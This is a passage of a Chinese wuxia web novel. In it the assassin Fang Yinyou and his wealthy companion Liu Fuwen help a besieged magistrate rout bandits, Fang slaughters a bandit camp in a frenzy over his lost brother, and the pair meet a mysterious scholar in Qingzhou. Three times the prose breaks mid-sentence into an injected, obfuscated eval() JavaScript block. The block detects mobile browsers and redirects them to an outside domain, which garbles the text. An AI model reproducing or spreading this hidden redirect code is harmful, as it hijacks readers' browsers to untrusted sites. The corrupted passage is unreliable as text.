“今夜进城吗?” 柳傅文不解的看向他,“难道不进城吗?又睡树上?” 方隐攸遥望那堵破旧不堪的城墙,“进去了,也不一定能睡床。” “为什么?” “你听——” 方隐攸将手放在唇上轻轻一按,然后闭上眼睛聆听片刻,“里面没有半点人声。” 柳傅文只是个富家公子,哪里能耳听八方,隔着十丈远的距离,他能听到点声音才奇怪。 “走近了不就能听到了?”他无语的看了一眼方隐攸,“今夜必须进城。” 柳傅文话音刚落,方隐攸忽然反手将他拽到身后挡住,然后侧过身警惕的盯着他们身后的一片树林。 他们刚刚就是从里面走出来的。 “里面怎么了吗?”柳傅文从他的肩膀后面露出半只眼睛,顺着方隐攸看的方向自己观察了一番,只是现在太阳已经落山,今夜虽有月光,但是树林里面黑漆漆的一片,根本分不清里面有些什么。 “有人追来了。” “啊?”柳傅文低呼一声,“这么多人想要我的命呢?” 说完,树林里随即发出一阵枝叶颤抖的簌簌声,里面有人在奔袭。 柳傅文拽住方隐攸的衣裳,“感觉人很多。” “他们打起来了。” “啊?” 柳傅文疑惑的越过方隐攸往树林方向走了几步,凝神仔细听了会才分辨出里面确实传来了兵器交接声、痛呼声、以及杂乱的脚步声。 他不解的看向方隐攸,“他们不是一路人?” “嗯。” 方隐攸指了指他抱在身前的油纸袋,“给我一个饼。” “你不怕他们突然冲出来吗?” 话虽这么说着,柳傅文还是递了一个已经凉透的肉饼给他。 方隐攸一边吃着饼,一边听着树林里面的动静,等到他吃完一个饼以后朝着柳傅文伸出了手,“不用等他们出来了,我们进去吧。” 柳傅文对此没有任何异义,心里还莫名的感觉到激动,他握住方隐攸肩膀上的衣裳,凑到他耳边问道,“你说他们看到我们主动进来,会不会感觉到害怕?” “他们看不到。” “什么?” 柳傅文刚说完就发现方宇攸奔走的速度变得极快,吓得他连忙将人缩到他背后,免得被树枝打到。 在等到他感觉到速度慢下来的时候,也是他被放下来的时候。 树林里面黑漆漆的,但不影响柳傅文闻到空气里弥漫着的血腥味。 “都解决了?” “嗯。” 柳傅文叹了口气,“你应该留一两个活口,我们可以问问他们,究竟是谁要杀我。” “你觉得他们会说吗?” “为什么不会?”柳傅文得意的哼了一声,“大不了本公子多砸点钱,常言道,有钱能使鬼推磨,更何况他们是人。” 方隐攸听他喋喋不休说了这么多,语气依旧平静,“他们不会说的。” “我不信!” “凡是做刺客杀手的,必须遵守的一条规则就是——就算是死,也不可以说出雇主的任何信息。” “可是他们说了也没人会知道。” “江湖中人,信义二字不可破。”方隐攸看向柳傅文在夜色中模糊不可辨的脸,“你真的不知道吗?” 柳傅文闻言沉默一瞬,然后嗤笑一声,“本公子又不是江湖中人,怎么可能知道?” 方隐攸无所谓的点点头,不再继续这个话题,直接将他扔到背上,抬腿朝着林外奔去。 此时夜色已深,淮临的城门上依旧不见一人,城门也大敞开着。 两人进了城才明白姝娘原先说得一片狼藉是什么意思——月光下城中的房屋多数已经坍塌、破壁残垣下只有肥硕的老鼠四处窜动,不见半点人影。 “被屠城了。”方隐攸往前一步,环顾四周,“我们来晚了。” 柳傅文沉默的打量了许久周围,忽然说道,“不对,若是被屠城,该有尸横遍野才是,可是你看这附近没有一具尸体,他们应该都是避难去了。” 方隐攸走到一处倒塌的房屋旁,捡起一根木头点燃,用火把照着再次仔细找了找,“确实没有尸体。” “所以,这些房子可能是房主自己故意毁掉的。” “为什么呢?” “为了不被别人占据。”说着,柳傅文指了指前路,“县衙一般在城中位置,我们去那里看看。” 方隐攸点点头,与他一起疾步朝着城中走去。 淮临县城并不大,两人脚程快,前后不过片刻功夫就到了县衙门口,与一路上所看到的破败民房不同,衙门从外面看上去没有受到任何损坏,而且门口竟然还有十几个穿着官服的衙役守着。 他们看到方隐攸和柳傅文的时候十分诧异,手里的长枪立刻竖了起来,打量着两人,呵斥道,“你们是谁?” 柳傅文上前一步,笑着自报家门,“我叫柳傅文,这是我的镖师方隐攸,我二人路过虞郡时听闻淮临有乱,特意来此看看。” 一个衙役从人群后面走了出来,借着月色将两人从头到脚看了几遍后,问道,“虞郡的人都已经知道淮临有乱?” 柳傅文点点头,“知道。” 衙役闻言一怒,将手中长枪用力的在地上一跺,“那为何虞郡知州王勘还不派兵来救!” 衙役喘了几口粗气,朝身后的几个衙役使了个眼色,“进去禀报知县。” 几个人沉默的在门口等了一会,一个身穿绿色官服、头戴官帽、蓄着长须的瘦小老头慌慌忙忙的从门里走了出来。 他的忧心忡忡的望着二人,问道,“你们是从虞郡城中过来的?” 柳傅文点点头,“正是。” “那你可听到虞郡知州打算派兵来增援淮临的消息?” 柳傅文和方隐攸对视一眼,无奈的摇摇头,“大人的期望只怕要落空了,我们听到的消息是——知州并不打算管淮临的事。” “不管?”知县闻言脸色大变,干瘪的脸耷拉下来,像个惨死的骷髅。“不管怎么行啊?我淮临虽小,但是也有城中居民百户,城外乡里百姓八千多人呐!” “现如今,乡里百姓大多数已经被那群强盗掳走,剩下的逃的逃、死的死,城中居民也只剩下几十户于衙中躲避,眼看着衙内粮食供给已经所剩不多,他们不来,难道要我们活活等死吗?” 知县的语气绝望又愤怒,柳傅文连忙安抚道:“大人也别急,我们这不是来了吗?” “你们?”知县打量着两人摇摇头,“一个富家公子、一个镖师,能救我们淮临于水火?” 柳傅文自信的扬了扬头,“比武他们打不过我的镖师,比文他们比不过我柳傅文,区区草寇而已,不足为惧。” 方隐文眼角余光瞥他一眼,似笑非笑的附和道,“对。” 知县看他们两人这幅成竹于胸的样子,倒是有些犹豫了,他又问了问,“那二位可想好了应对之策?” 应对之策? 方隐攸看向柳傅文,倒是也好奇他能说出什么应对之策来博取这小老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810146|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头的信任。 柳傅文抬头望望天,皎月高悬,万里无云,他看向大敞着的衙门,“要不进去说?” 知县诶一声,连忙将人带了进去。 衙门内长长的甬道上面挤满了人,男女老少皆有,他们翘首以盼的看着三人走进门,又立刻失望的垂头丧气的走开。 知县见状叹一口气,朝二人解释,“百姓们只听到衙门外有人来,还以为是虞郡来的救兵。” “大人,你这衙门内如今共有多少人?”柳傅文问道。 知县沉吟片刻,回道:“加上本官,共有二百七十四人,其中衙役四十六人,百姓二百二十七人。” 柳傅文点点头,沉默不语,直到三个人进了书房,他才回到,“那大人可知道那群草寇如今有多少人?” 知县坐到书案边,拿出一张写满了字的纸递到柳傅文面前,“衙门里的捕快曾经去他们盘踞的山头打探过,粗略计算应该有三千余人,不超过三千五百人。” 知县长叹一口气,“其中还有许多皆是我乡里百姓,被他们强掳过去,逼民为匪。” 柳傅文仔细看了眼纸上的内容,上面写的都是捕快打探到的贼匪的消息。 柳傅文将纸递给方隐攸,然后看向知县,“我看那群贼匪并未堵住城门,大人为何不逃?” “逃?”知县忽然一下站了起来,书案上的烛火被他的动作带得左摇右晃,他愤愤的盯着柳傅文,“本官持敕牒上任,食朝廷俸禄,守一城之安危,如今城中百姓遭此难,本官怎么可能逃?” 知县手一伸,指着门外,“且不说这衙门内的几百人,因为信任本官不曾弃城离去,就算城中只有本官一人,本官也绝对不会逃!” 柳傅文听出知县语气里面的愤慨,连忙站起来说道:“大人实乃是舍己为民的好官,在下佩服。” 知县长叹一口气,摆摆手惭愧道:“可惜...本官手里无兵,拿那群贼匪没办法。”说罢,他又长叹一口气,“可恨那王勘,既然已经知晓淮临的境遇,却不肯调兵来救!可恨!” 柳傅文走到窗户边,推开窗户,将头伸出去看了一眼头顶的月亮,然后又走到知县身边说道,“大人,对方不过区区几千人,我的镖师一人就可对付。” 知县一听,震惊的眼口微张,愣愣的看向方隐攸,“这位公子竟然有此等武力?” 方隐攸朝着柳傅文露出一个似笑非笑的表情,淡淡道:“他既然说有,那我自然是有的。” 柳傅文指了指窗外的月亮,“等到丑时,贼匪精神最困顿时,我的镖师可一人前往,直取贼首首级献于大人。” 知县眼睛放光的看向方隐攸,“当真?” 方隐攸并不看知县,依旧盯着柳傅文,淡淡道:“杀一人,百两白银。” “好说。” 柳傅文看向知县,“大人应该知晓,贼匪能拥一人为首,那么便能立第二个人为首,所以,杀一人只能让他们乱一阵子,要想彻底剿灭他们,还是得靠大人。” “公子的意思是?” “大人既然说许多百姓被他们强掳走为匪,那便不是真心跟随,所以只要大人趁乱于高山上振臂一呼,他们必然会归降于你,这样,贼群由内而溃,大人明面上只有四十六个衙役,但是加上那些投降的百姓,对付他们也足以。” 柳傅文说完,朝着方隐攸得意的挑挑眉,无声的问,“本公子这良策,如何?” 方隐攸张张嘴,无声的回,“我是个刺客,不懂这些。” 柳傅文撇撇嘴,无语的翻了个白眼,再次看向已经陷入沉思的知县,“大人觉得此计可以否?” 知县有些担忧的看向方隐攸,“公子此计甚好,只是你的镖师只身前往三千多人的贼窝,还是有些过于冒险了。” 方隐攸往后退了一步,倚在书柜上,眼神平静的扫了一眼等着他回话的柳傅文,淡淡道,“大人多虑了,区区三千多人而已,我还不放在眼里。” 话音刚落,柳傅文就立刻接过话,“那就这么说定了,大人,你赶紧趁着眼下离丑时还有几个时辰的功夫,好好琢磨一下等会该如何劝降你的百姓吧。” “这个倒是不难。”知县抬手摸了摸长须,“本官自上任以来,多次视察各个乡里,里面的百姓我都眼熟的很,他们若是见到本官,必然会归降。” 8. 夜袭 夜半时分的淮临郊外是寂寥的,早春时节里,连个聒噪的蛐蛐都没有。 方隐攸手握长剑,于夜色中急速朝着不远处的丛山奔去。 在连绵的山坡上有一个寺庙,寺庙周围的山林被贼匪砍倒,他们在空地上建了几栋木楼,屋檐下挂着几盏灯笼,遥望过去,十分惹眼。 他们着实猖狂,将自己的位置毫无保留的暴露,丝毫不惧有人会偷袭,就像是笃定了知县借不到兵马。 当方隐攸在一处平坦田野间奔走时,忽然察觉到身后有一人袭来。 方隐攸迅速侧身躲过,然后扭身看着不远处手执长鞭的人。 刚刚打向自己的,就是他手里的长鞭。 月色如流水,落在那人的眉眼间,又停在他挡住半张脸的面具上。 方隐攸随意的打量那人一眼,此人轻功了得,若不是他挥出了那一鞭,只怕他还不能发现自己被跟踪了。 “轻功不错,但是还得练。” 那人沉默不语,迅速朝着方隐攸又挥出了一鞭子。 空气发出一声尖锐的震鸣,方隐攸脸上挂着淡淡的笑,十分随意的摇了摇头,带着几分惋惜的说道:“角度不对,你该往后侧一寸,这样你鞭子挥出的力道才会更加足。” 说完,方隐攸脚尖点地,往后撤出半丈远,与长鞭擦身而过。 “你看,我说的对不对?” 回应方隐攸的,是一道道挥舞得更加用力的长鞭,方隐攸的神情一直淡淡的,身形随着空中的长鞭扭动,手中的长剑连鞘都没出。 “你并不想杀我,所以招招有弱点。”方隐攸劲瘦的腰在空中折出一个诡异的弧度,长鞭从他腰腹上飘过,连他的衣裳都没有碰到。 他立刻起身,身姿飒爽而挺拔,仿佛刚刚那个扭曲的人影不是他。 长鞭再次迎面而来,方隐攸这次没有躲,他的手臂如丝般和长鞭纠缠在一起。 “抓住你了。” 长鞭在方隐攸的手臂上环绕,他一把抓住那人的手腕,轻飘飘的说完这么一句话,又反手按住他的肩膀,翻身落在他的身后,猛地一掌拍向他的后背。 那人迅速朝前飞去,方隐攸手臂上的长鞭被带着一圈一圈解开,在只剩下最后几寸时,方隐攸一把拽住长鞭往后一扯——那人便被狠狠地拽了回来。 方隐攸就这么将他当做玩具一般在空中溜了一圈,然后又十分随意的一把掐住了他的脖子,语气平静的说道:“明白了吗?你就是我的玩具而已。” 那人依旧沉默着一言不发,只是看着方隐攸的眼神变得更加凶狠,对于方隐攸来说就像是愤怒了的麋鹿,没有丝毫震慑性。 方隐攸无声的笑了笑,将人随意的扔在湿软的田地里。 “我还有事要办,你走吧。” 那人迅速爬了起来,压着嗓子问方隐攸,“你为什么能猜到我的每一招?” “需要猜吗?”方隐攸摇摇头,“我没有猜,是你还不够快。” “什么意思?” “你挥鞭太慢了。”方隐攸盯着他的双眼,缓缓道,“看好。” 说完,他的手忽然一转,在对面的人还没有反应过来之前他手里已经多了一根发带。 紧接着,那人被发带束在头顶的长发瞬间散落。 方隐攸将发带递到他面前,“还给你。” 那人接过发带,不敢置信的看着他,“你竟然快到了这种地步...” “是你太慢了。” “下次...我不会再手下留情...” 方隐攸往后退了一步,轻笑一声,“恭候。”说完,他随意的看着那人身后那片漆黑的地方,“让你的人都退下吧,不然我会在他们出手之前先杀了你。” 那人也往后退了一步,“我知道。”说完,他抬手朝着身后做了一个手势,“你太厉害了,方隐攸。” “我只是一个刺客。” “不...你可以是任何身份。”那人将长发重新绑好,凝望着方隐攸,“你有这个实力。” “可能吧,但是今夜我只是一个刺客。” 方隐攸说完看他一眼,然后迅速朝着山坡上的寺庙奔去。 一百两银子,取一人的头颅,这是他今夜的差事。 他如夜间蝙蝠一般落到木楼屋顶,然后俯趴着将耳朵贴在屋顶,仔细分辨着里面的动静。 现在已经是半夜丑时一刻,除了几个守夜巡逻的人,这片地方的人都已经陷入沉睡。 方隐攸确定屋内的两人都已经入睡以后,翻身落到廊下,然后悄无声息的推开了门,将一人打晕后再将另一人用手拍醒。 “做什么?”那人睡得真迷糊,十分不耐烦的甩了甩手,想要继续睡。 方隐攸没了耐性,直接将人踢下床,随后一脚踩在他的胸口,自上而下的俯视着他痛的扭成一团的脸。 “你们的首领在哪个房间?”方隐攸低声问道。 那人闻言立刻反应了过来,刚想大喊就被方隐攸用长剑抵住了脖子,“嗯?” “中间那栋主楼最上面的房间就是!”那人哆哆嗦嗦的说完开始求饶,“大侠,我没骗你,你放了我吧。” 方隐攸的剑鞘在他脑后一敲,他便两眼一闭昏睡了过去。 方隐攸走到窗户边,看向最中间的那栋楼,不得不说这首领是个聪明人,用八栋木楼将自己住的地方围住,每一栋木楼中间又隔着两丈远,正常人想要接近主楼就只能走地上,而地上又一直有人在巡逻,只要有人想要硬闯就会被发现。 不过方隐攸不是正常人,他背着柳傅文都能一步奔走丈许,更何况他现在孤身一人,一步两丈简直易如反掌。 当方隐攸顺利的进入到首领的房间,正打算手起刀落时,躺在床上睡觉的首领忽然翻了个身,而窗户里透进来的月光又恰好落在了他的脸上。 所以,方隐攸就是这么凑巧的看清楚了他的脸。 他眼里的杀意化作怒意,抬脚将人用力的朝着床内一踹,那人猛地撞到里墙,然后忽然醒了过来,十分震惊的看着面前的方隐攸。 “你是谁!” 方隐攸反手点燃桌子上的蜡烛,举到自己面前,让对面的人看清楚自己的脸,“你说呢?” 那人脸上的震怒化作惊愕,他迅速跪倒在地,手抓着方隐攸的衣摆哭丧着脸求饶,“师父. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810147|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ..秘籍的事真的不是我传出去的...” 方隐攸一脚将他踹到门框上,然后又掐住他的脖子将人从地上提了起来,“你知道我找了你多久吗?” 男人眼里满是恐慌,“师父...你饶了我这回...我再也不敢了...” “饶了你?”方隐攸咬牙切齿的盯着他,“当初,如果不是你擅自将宇周带走,他又怎么会被掳走?” “我...我只是想要保护他...”男人痛哭流涕,呼吸越来越急促,“师父...你先放开...咳咳...师父...” 方隐攸厌恶的盯着他脏兮兮的脸,将他用力的扔在地上,然后用脚狠狠的踩住他的胸口,“张广宁,你早已经不是我的徒弟,别再叫我师父,知道了吗?” 张广宁吐出一口鲜血,颤颤巍巍的点点头,“知...知道了...”说完,他撇向方隐攸手里的可生剑,“哥——啊——” 他才叫了一声哥,方隐攸又猛地踹了他一脚,将他踢到墙角后直接一剑取了他的头颅。 鲜血瞬间流了一地,方隐攸却被他那一声哥惊的脸色惨白,浑身发颤,连落在地上的头颅都无力拿起。 他恍惚间好像听到了弟弟方宇周的呼唤,带着一丝责怪,像是在质问他为什么又在杀人。 方隐攸按住额头,沉沉的喘了几口粗气,然后仔细分辨着声音的来源,抬眼间却看到有人一脚踹开了房门,然后惊恐的看着屋里的一切。 紧接着,就有许多人涌了进来。 唯独没有弟弟方宇周,可是他明明听到了弟弟的声音,弟弟在哪里呢? 方隐攸变得惴惴不安,他提着剑冲进人群,抵着他们脖颈,大声质问,“宇周呢?我弟弟在哪?” 他们不肯回答他,还拿出刀枪想要杀了他,可是他只是想要找到弟弟而已,为什么不告诉他弟弟在哪里? 方隐攸变得十分愤怒,手里的可生剑像是嘶吼着的饥渴的狼,迅速扑向人群,只留下满地的鲜血与碎肢。 “我弟弟在哪里?”方隐攸掐住一个人的脖子,死死的盯着他,“你们把他关在哪里了?” 那人大声喊着些什么,他已经分辨不清,反正没有方宇周三个字,那就是废话。 方隐攸大吼一声,将人随手扔在地上,然后猩红着一双眼环顾四周。 忽然,他在拥挤的人群里面看到了一个残影,那人穿着一身素白长袍,温润如玉,挺拔如松。 是弟弟! 方隐攸惊喜的朝他跑去,却有无数的人涌上前来拦住了他。 “让开!” 方隐攸长剑一扫,带出漫天血雾,可是人群退去后弟弟也不见踪迹。 这让方隐攸变得十分暴躁,只想要将这些人都杀了,去找他的弟弟。 空气中弥漫着的血腥味越来越浓,方隐攸却越来越兴奋,他的脸上开始出现癫狂的笑意,像是一个杀疯了的怪物。 可是,他的眼神却越来越空洞,像是一个木偶一般。 不知道过了多久,他忽然眼睛一闭倒在了地上,围在他周围的人瞬间松了一口气,手里的兵器全部一鼓作气的朝着他刺去。 . 9. 继续赶路 方隐攸再睁眼时,视线里只有一只鞋底。 他内心毫无波澜的移开视线,看向正俯视着自己的柳傅文。 柳傅文干笑两声,迅速收回自己的脚,语气尴尬的说道:“我如果说,事情并不是你想的那样,你会信吗?” “想—”方隐攸一张嘴才发现自己嗓子哑的厉害,于是沉默着看向柳傅文,指望他能给自己一口水喝。 因为他也是刚刚才发现,他被绑住了。 柳傅文读懂了他的眼神,即刻坐到他身边,将他扶到自己怀里后,拿过水壶一点点的喂他。 方隐攸喝完水后,看了一眼四周。 他们在一条窄河边,周围十分平坦,只有几亩荒地。 方隐攸头倚在他的肩膀上,缓缓道:“为什么绑着我?” “你不记得了?” “记得什么?” 柳傅文不可思议的看着他,“你不记得你杀了多少人了吗?” 方隐攸闻言脑子一抽,疼得他脸色发白。 柳傅文见状神情变得凝重起来,眼神莫名的复杂,带着几分探究与怀疑。 方隐攸闭上眼,说道:“不记得,都发生了什么?” 柳傅文沉默片刻后,盯着他微微颤抖的睫毛说了起来。 原本按照他们的约定,方隐攸取了贼首的头颅,应当发出信号,然后他们再趁乱上山。 但是他们在山脚等了很久,直到贼窝里火光漫天都没有看到信号,没办法便只能直接上来了。 “幸好本公子来的及时,否则你就要变成筛子了。”柳傅文说着,炫耀似的用拇指掐住一节小手指凑到方隐攸面前,“你当时一个人浑身是血的躺在地上,那群人的刀枪和你之间就隔着这么半截手指的距离!” 说完,他才反应过来方隐攸闭着眼,于是摇了摇他的肩膀,“你睁开眼睛看看啊!就这么点距离!” 方隐攸缓缓睁开眼,眼神迷蒙的望着他,“多谢。” 柳傅文轻哼一声,扫了他一眼,原本是要嘲讽他这个镖师竟然还需要他这个“镖”去救,可是却忽然注意到他此刻倚在自己怀里,眼神迷离,神情疲倦,几缕发丝横在眉眼间,破天荒的竟然显得有几分脆弱。 这让柳傅文瞬间愣住,嘴里那段刻薄的话在嗓子眼了走了一遭变成了低哑的一句,“你没事就好。” 方隐攸嗯了一声,再次闭上了眼睛。“对不住,坏了你们的计划。” 柳傅文将视线从他脸上移开,“没事,我们上山的时候里面乱成了一锅粥,知县大人在高处喊了一会功夫,那群被强掳过来的百姓就归顺了,然后还顺手杀了各自身边的贼匪。” “所以也算不上坏了计划。”柳傅文说完轻轻拍了拍缠在他身上的绳索,“就是你昏迷之前太可怕了,我怕你醒过来还是那副样子,所以就提前把你给绑了。” “你在贼窝里究竟发生了什么?”柳傅文盯着方隐攸的脸,小心翼翼的说道:“我事后问过他们,他们说你一直在问你弟——” 柳傅文话还没说完,方隐攸忽然睁开了眼,这次的眼神凌厉而凶狠,里面杀意十分直白,吓得柳傅文即刻噤声。 “我不记得了。”方隐攸盯着他,一眨不眨的说道:“给我松绑。” 柳傅文打量着他,“你确定你恢复正常了?” “嗯。” 柳傅文啧啧嘴,将人放到地上躺好,一边给他松绑,一边喋喋不休的说道:“你也真是稀奇,昏睡过去了还死都不放开手里的剑,我实在没办法,就只能把你和可生剑绑在一起了。” 等到柳傅文松开绑,方隐攸迅速站了起来,他看向手里的可生剑,眼神十分温柔。 “它陪了我很多年。” 柳傅文双手背在身后,遥望万里无云的天空,“方隐攸,你也挺可怜的,这么多年身边都只有一把剑陪着。” 方隐攸转过头,冷眼瞧着他,“你难道有很多人陪吗?” “当然!”柳傅文得意的昂首挺胸,“本公子在京城中只要振臂一呼,朋友便可挤满城中最大的酒楼!” “哦。”方隐攸无所谓的点点头,“看来你人缘很好。” “当然!”柳傅文转过头看向方隐攸,“你要和我做朋友吗?” 方隐攸摇摇头。 “为什么?” “因为我还要继续赚你的银子。” 柳傅文脸上的表情僵住,他不可置信的瞪大眼睛,“难道做了我的朋友,我就会昧下你的银子吗?” 柳傅文越说越不忿,手插在腰间,盯着方隐攸一字一句的说道:“做我的朋友,我不仅不会昧下银子,还会给你更多的银子!” 方隐攸斜眼睥他一眼,“更多是多少?” “双倍!” “好,我们做朋友。”方隐攸微微一笑,“你原本该给我一百六十五两黄金加上一百两白银,双倍的话便是三百三十两黄金加上两百两白银,我只要你三百三十两黄金,如何?” “啊?”柳傅文眨眨眼,有些懵住了。 方隐攸伸手揽住他的肩膀,凑近他的耳边轻声叫到,“傅文兄。” 他语调婉转,带着一丝调笑,尾音上扬,盈盈绕绕如勾丝,落在柳傅文耳朵里就像是涂了蜜汁的饵,黏黏糊糊的,让他的脑子成了一团浆糊。 柳傅文困惑的皱起眉,不懂自己为什么短短半柱香的功夫,被他两次蛊惑了心智,于是几乎算得上是恼羞成怒的一把推开了他。 “方隐攸,你可是个刺客,怎么配做我的朋友?” 方隐攸闻言挑挑眉,无所谓的说到,“那便不做吧。” 柳傅文却被他这幅样子弄得有些尴尬,沉默的看了他半晌后干咳一声,“三百五十两黄金,我们做朋友。” “当真?” 柳傅文瞥他一眼,含糊的说道:“当真。” “嗯?”方隐攸没有听清,将耳朵递到他嘴边,“你说什么?” 柳傅文垂眼看他上扬的嘴角,一巴掌拍开他的脸,大声吼道:“我说我给你三百五十两黄金,我们做朋友,我的穷鬼朋友!” 方隐攸看着他这幅别扭的样子忍不住哈哈大笑,“柳傅文,你真有意思。” 柳傅文无语的横他一眼,转身就走。 方隐攸看着他走了十几丈远以后才跟上去,并不诚恳的说了声对不住,然后问他要不要背。 柳傅文闻言一脚踢向他的侧腿,“方隐攸,要不是你嫌弃马车走的太慢,我现在应该是坐在宽敞舒适的马车里才是。” 下一个城镇青州据此还有270多里,凭着柳傅文的脚程就算是走到明日这个时候他们也不一定到得了,所以就算是再不情愿,柳傅文还是上了方隐攸的背。 青州多山水,风景极美,又恰逢早春时节,柳绿花黄、草长莺飞,处处都是诗意。 不过方隐攸是个武 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810148|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫,常年在江湖上游走,各地美景见的多了,倒没觉得有什么稀奇,柳傅文就不同了,京城在北方,春日美景虽也有,但是却没有江南的春景的柔美之意,所以一路上,柳傅文总是会拍拍方隐攸的肩膀,让他歇一歇,他好赏赏景。 这一来二去的,两人又是在天色擦黑的时辰才赶到城中。 青州城比虞郡城大得多,也繁华的多,闹市街头这个时辰还聚着许多人,沿街的铺子里都热热闹闹的,主客皆欢。 不过这里的许多人都是做江湖人打扮——穿着干练、手执兵器,行为举止也十分随意潇洒,与寻常江南人文雅的行径相去甚远。 柳傅文扯住身旁方隐攸的衣袖,凑到他耳边低声问,“这青州城里怎么有这么多江湖人士?” 方隐攸随意的环顾了一下四周,像是才反应过来一般点点头,“确实挺多。” 说着,他反手扯住柳傅文的衣袖,将人往前面的酒楼带去,嘴里继续道:“如今的武林盟主韩桓临是南山派的掌门人,南山派就在青州城郊。我刚刚算了一下,今年到了五年一次的盟主争夺时间,他们应该都是来参加盟主争夺赛的。” “啊?”柳傅文有些不解,“这盟主争夺赛谁都能参加?和上一任的盟主打?” “嗯,只要谁能打赢韩桓临,谁就是下一任武林盟主。” “要是打不赢呢?” “非死即残。” 话音刚落,酒楼里面的店小二也迎了出来,笑道:“客官几位?咱们楼里今日刚上了新菜品,包您满意!” 柳傅文闻言立刻来了兴致,没有再和方隐攸说江湖上的事,跟着小二往楼里走去,一路上还交代了小二许多自己的忌口。 酒楼里的生意很好,大堂里的桌子上都坐满了人,两人不得已上了二楼的稍微小一些的偏厅中。 他们的位置在楼梯口,可以从扶栏边看到大堂中的情况,柳傅文撑着下巴漫不经心的看着楼下吃的热火朝天的客人。 “方隐攸,那个桌子上坐的人,他们在江湖上有名吗?” 方隐攸顺着柳傅文的视线看下去,桌子上只有两个人,都穿着一身蓝白色的道袍,右边衣袖上绣着一只红隼,桌子上放着两把长剑。 “他们所在的门派在江湖上占有一席之地,至于他们——”方隐攸摇摇头,“无名之辈。” “他们是什么门派的?” “衡山宗,门派众人穿一身绣有红隼的蓝白道袍,善使剑。” 柳傅文了然的点点头,继续看向另一桌,“那他们呢?” 这张桌子上坐了六人,穿着各不一样,手中的兵器也不尽相同,身材都十分威武,看上去就杀气腾腾的。 “他们做了乔装,看不出所属门派。”方隐攸摇摇头,“也是无名之辈。” 柳傅文啧一声,转头盯着他,“那这酒楼里,依你看哪个才不是无名之辈?” 方隐攸修长的手指轻轻敲了敲桌面,视线在楼下环顾一周,然后朝着一人抬了抬下颌,“他。” 柳傅文望了过去,只看到一个身穿鸦青色宽袖长袍、文质彬彬的书生正端着一杯茶在品,桌子上连个像样的兵器都没有。 “他?” 方隐攸但笑不语,就在此时,那个书生忽然抬起头朝这边看了过来,视线恰好与柳傅文撞上。 那眼神十分漠然,像是在看一具腐朽的尸体一般,吓得柳傅文立刻撇开了脸。 10. 书生 “吓到了?” 方隐攸含着笑,打量着柳傅文。 柳傅文凑近他,用手挡住楼下书生的视线,小声说道:“这人有古怪。” “没有。”方隐攸看向书生,与他四目相对,两人面容都十分平和,“寻常江湖人而已,只是功夫略高些。” 柳傅文缓缓移开挡在脸侧的手,用眼角余光打量着书生,“你从哪里看出他功夫高的?” “他的气息很沉稳,举手投足之间都十分镇静。” “就这?” “若是寻常书生,在一众江湖人群中,做不到他这般镇定自若。”方隐攸说完,端起面对的茶杯朝着书生致意。 书生见状,也浅笑着举了举手里的茶杯。 柳傅文的视线在两人之间来回打转,狐疑的问道:“你们两个人不会认识吧?” “不认识。”方隐攸看向柳傅文,“不过他可能认识我。” “什么意思?” 方隐攸挑挑眉:“江湖第一刺客,谁人不知。” 柳傅文撇撇嘴,看他这幅得意的模样忍不住泼冷水,“别人只知道有这么一号人,谁能知道他长了一张什么脸。” 说着柳傅文上下打量着他,拿手虚空描摹着他的眉眼,这么仔细一瞧,方隐攸长得倒是有十分俊俏,面若冠玉,姿态飒爽,忽略他那双带有杀气的眉眼,倒是有几分君子的模样。 方隐攸抬抬下颌,“看出了些什么?” 柳傅文一愣,讪讪的收回手,端起面前的茶杯抿了一口茶,“反正不该是你这么一张毫无攻击性的脸。” 方隐攸无声的笑了笑,“杀人用的是剑,可不是脸。” 忽然,柳傅文看到楼下的书生竟然悠悠然的朝着两人走来了。他不可置信的望着方隐攸,“他...怎么过来了?” “不知道。” 书生身高腿长,一会功夫就上了楼,然后笑着朝两人说道:“在下看二位甚是有缘,不知可否同坐?” 方隐攸看向柳傅文,等着他回话。 柳傅文在桌底用力的踩了他一脚,然后点点头,指了指自己和方隐攸中间那一方靠窗的位置,“请坐。” 书生落座以后,看向方隐攸,“在下崔清止,路过此地时听闻后日南山派里会举办盟主争夺赛,于是便打算暂住两宿,凑凑这个热闹。” 方隐攸了然的点点头,并未回应。 柳傅文回到:“我叫柳傅文,这是我的镖师方隐攸,我们也是路过此地,借住一宿,明日便走。” 崔清止的视线落到方隐攸手里的剑,试探性的问道,“敢问,这便是可生剑吧?” 柳傅文闻言睁大眼睛和方隐攸对视一眼,他真的认出方隐攸了! 方隐攸比他镇定的多,十分坦诚的点点头,“正是。” 